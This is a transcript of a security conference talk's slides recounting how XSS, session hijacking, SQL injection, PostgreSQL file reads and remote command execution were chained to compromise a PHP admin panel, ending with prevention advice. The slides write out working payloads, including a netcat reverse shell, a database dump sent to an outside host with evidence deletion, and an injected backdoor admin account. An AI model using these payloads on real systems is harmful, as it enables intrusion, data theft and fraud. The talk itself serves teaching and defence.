Chaining Web Exploits: Pwning the kingdom

It doesn't take one exploit to hack the kingdom. This is a true story about finding multiple different web exploits and chaining them together to compromise an application and discussing the importance of actively monitoring for vulnerabilities and the downsides of letting them going unpatched.

Transcript

1. Chaining Web Exploits Pwning the Kingdom
2. whoami • Cyber Security Analyst • Previously: Systems Administrator, Senior Software Engineer On the web: https://smashes.net/
3. Agenda • A story about how 30 universities across North America could’ve been hacked by chaining exploits together • What could’ve been done to prevent it
6. Knock Knock The server told me that it’s running Apache 2 on Debian and it’s a PHP based application.
7. Who’s there? It’s me, your friendly neighborhood scanner. I don’t suppose you have an admin panel do you?
8. Of course I do!
9. Thank you, Server! The goal is to make it into the admin panel… - What does the admin panel look like? - Is it old, buggy and slow? - Are there vulnerabilities on the inside? The login page looks promising
10. Is an XSS via the User-Agent possible? curl ‘https://target.example.com/Admin?’ -I -k --user-agent ‘<script src=”//ohnonono.xss.ht/”></script>’
11. It’s an XSS via the User-Agent! Surprise! An XSS and the structure of the admin panel, it includes: - A potentially hijackable session_id cookie before it expires - URL addresses for all the admin pages
12. XSS Admin Screenshot • The Admin Panel (File Manager, Course Planning, Emails and more) • More than a shop? mike@smashes.net
13. Scan the LAN With successful cross-site scripting: - Deploy javascript-based LAN network scanner - Post results to control server Yields: - Internal host discovery - Network mapping of online hosts - Vulnerable hosts on the network
14. Session Hijacking We have a session id, can this be exploited? When looking at the login admin page, there is a sess_id parameter that looks like a standard PHP session id. I don’t suppose it’ll let me set any random ID, would it? Let’s try sending a session id and see what happens.
15. Session Hijacking Results - Sent a sess_id - Server gave us the admin session to the backend and expiry time Is there another way in? 1
16. Another Way In An initial scan found multiple files in the /include/ that offer an authentication prompt. Is the login interface vulnerable to SQL injection? Crafted an SQL injection within the username and password fields, let’s see what happens. Payload: ‘ OR ‘’=‘
18. How about Blind SQL Injection? Difference between blind SQL injection and SQL injection Is it vulnerable to blind SQL injection in the HTTP Basic Authentication? Trying to force a server error
19. Injection Attempt
21. YES This error may indicate the field is not sanitized Is it possible to get a local file inclusion (LFI) or remote command execution (RCE) from the SQL Injection?
22. LOCAL FILE INCLUSION WITH POSTGRESQL PostgreSQL can do basic file inclusion functions with default configuration, such as:
23. LOCAL FILE INCLUSION WITH POSTGRESQL COPY hacks(description) FROM ‘/etc/passwd’; COPY hacks(description) FROM ‘/etc/apache2/sites-enabled/000-default.conf’; SELECT description FROM hacks; (This will dump the information gathered to the screen)
24. EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export the data to another table in the frontend and render it to the user.
25. EXPORT FILES TO FRONTEND WITH POSTGRESQL I could also export the data to another table in the frontend and render it to the browser. COPY frontpage(content) FROM ‘/etc/passwd’; curl -vs https://university.example.com/ 2>&1 | grep ‘root\:’ -C 80 > etc_passwd_contents
26. EXPORT FILES TO FRONTEND WITH POSTGRESQL
27. CREATING ADMIN BACKDOOR From the initial scan of the backend via both the session hijack & SQL injection, we have: - Database field names - Good idea of how the authentication works
28. CREATE USER bobby; ‘; INSERT INTO users(usercode,username,password,access_level,email) VALUES(‘BOBBY’, ‘bobby’, ‘boby123’, ‘ADMIN’, ‘bobby@droptables.com’); --
29. Executed the SQL payload, is Bobby an admin?
30. Hello Bobby
31. Hello Bobby The backdoor admin account allows: • View order info • Email and session logs • Staff information • Modify website contents
32. Chaining the exploits together Chain with javascript: - Write exploits to be automated - Utilize user-agent xss with new payload - Change usernames and passwords for impersonation - Spoof the legitimate administrator
33. The First Chain
34. Diving Deeper - Session Management Looking at Session Management system: • Upon loading the page, hit with original XSS payload • Allows admins to watch users sessions in almost real-time • Can view any input the user submitted into the page, including PII (except passwords) One of the administrators must of been reviewing the session logs when the XSS fired!
35. Diving Deeper - Session Management Looking at Session Management system: - Upon loading the page, hit with original XSS payload One of the administrators must of been reviewing the session logs!
36. Diving Deeper - Order Management Admin panel has: - Ability to view basic order details - Name of the person - Email - Order number - Amount paid - Allow the administrator to issue a refund directly online. Just thinking...
37. Would you like a refund? This UI allows you to enter any amount in the refund field. $995 sounds reasonable.
38. Remote Command Execution If writing configuration information to disk, at least attempt to filter it. Payload: “; exec(‘nc {ip} {port} -e /bin/bash’); // Saved, the page refreshed and… Of course there’s many other things you can do from this Listening on [0.0.0.0] (family 0, port 1123) Connection from {removed} 53704 received! whoami www-data
39. Where are we now? Not only do we have: • a full administrator account • SQL injection at our fingertips • full blown shell on the server as the www-data user. • can elevate to root on servers due to vulnerable kernel • can access distribution server and backdoor product releases • can backdoor the client to execute malicious code on update
40. Put a Message Up Make some noise on the web to prove we have write access… echo “<html>[....]<body>rce 2019-03-01</body></html>” > ./admin/ms9582512.html
41. Dumping the Database We have: - RCE - Access to the database credentials hardcoded in config files We should be able to dump the database -- right? Let’s try.
42. Dump the Database & Remove Evidence Syntax will vary per database type, here’s how it works with postgres: pg_dump [...] | gzip -c > ~/dbdump.sql.gz && scp ~/dbdump.sql.gz $OUTBOUND@$HOST:./dbdump.sql.gz && rm -f ~/dbdump.sql.gz
43. Recap • Got copy of database • Got password hashes (bcrypt/md5) • User information and order details • Setup an admin backdoor • Deleted evidence we were in the system In total, chained 5 exploits to go from unauthenticated user to full shell as the www-data user. Now, the final payload
44. The Full Chain
45. How could this have been prevented?
46. 1. Proactive Monitoring All the attacks demonstrated today can be found with a simple Google search. There are many free automated tools available to do this with. Anyone can do this… There was no active monitoring or alerting. Without the proper systems in place, the likelihood of catching this is slim to none.
47. 2. Drop the Sessions! Many systems still allow users to inject session ids, this is bad practice and should be removed. There is no legitimate reason to inject a session id in most cases.
48. 3. Regular Audits All companies and organization need regular security audits, not just black- boxed PCI compliance audits.
49. 3. Regular Audits All companies and organization need regular security audits, not just black- boxed PCI compliance audits. Developers need to test their own code and their peers code, just inject anything from the OWASP top-10 or cheatsheets to start.
50. 4. Not /Admin Don’t make your admin panel public to the world. Whitelist access by IP address to trusted origins only (eg, internal user ranges only). Don't let search engines index your Admin login page.
51. 5. Proper Access Control Any user with access to the administration panel should only see what their role defines, not the entire admin panel. Most organizations don’t implement proper access control, or leave old accounts with privileged access laying around.
52. 6. Two-Factor Authentication The target systems demonstrated today had two-factor authentication enabled. The session_id bypass and SQL injection allowed me to bypass the two-factor authentication requirements, and I could disable it for any other user. Always force re-validation if the browser, IP or country changes.
53. 7. Vendor Compliance Often times, your system may be relatively secure, but a vendor you rely on has lapsed on their security. Make sure your vendors undergo regular security audits -- PCI compliance doesn’t mean they’re secure.
54. Questions?